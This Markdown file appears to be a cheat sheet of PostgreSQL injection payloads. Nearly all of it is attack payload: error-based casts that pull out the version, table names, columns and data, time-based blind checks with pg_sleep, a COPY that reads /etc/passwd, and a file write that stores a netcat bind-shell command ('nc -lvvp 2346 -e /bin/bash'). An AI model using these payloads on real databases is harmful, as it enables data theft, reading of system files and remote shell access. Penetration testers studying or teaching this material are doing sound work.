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49 lines
1.2 KiB
Markdown
49 lines
1.2 KiB
Markdown
# POSTGRESQL
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## PostgreSQL Comments
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```sql
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--
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/**/
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```
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## PostgreSQL Error Based - Basic
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```sql
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,cAsT(chr(126)||vErSiOn()||chr(126)+aS+nUmeRiC)
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,cAsT(chr(126)||(sEleCt+table_name+fRoM+information_schema.tables+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
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,cAsT(chr(126)||(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name=data_column+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
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,cAsT(chr(126)||(sEleCt+data_column+fRoM+data_table+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)
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```
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## PostgreSQL Time Based
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```sql
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AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
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AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))
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```
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## PostgreSQL File Read
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```sql
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select pg_read_file('PG_VERSION', 0, 200);
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```
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```sql
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CREATE TABLE temp(t TEXT);
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COPY temp FROM '/etc/passwd';
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SELECT * FROM temp limit 1 offset 0;
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```
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## PostgreSQL File Write
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```sql
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CREATE TABLE pentestlab (t TEXT);
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INSERT INTO pentestlab(t) VALUES('nc -lvvp 2346 -e /bin/bash');
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SELECT * FROM pentestlab;
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COPY pentestlab(t) TO '/tmp/pentestlab';
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```
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## References
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* [A Penetration Tester’s Guide to PostgreSQL - David Hayter](https://medium.com/@cryptocracker99/a-penetration-testers-guide-to-postgresql-d78954921ee9) |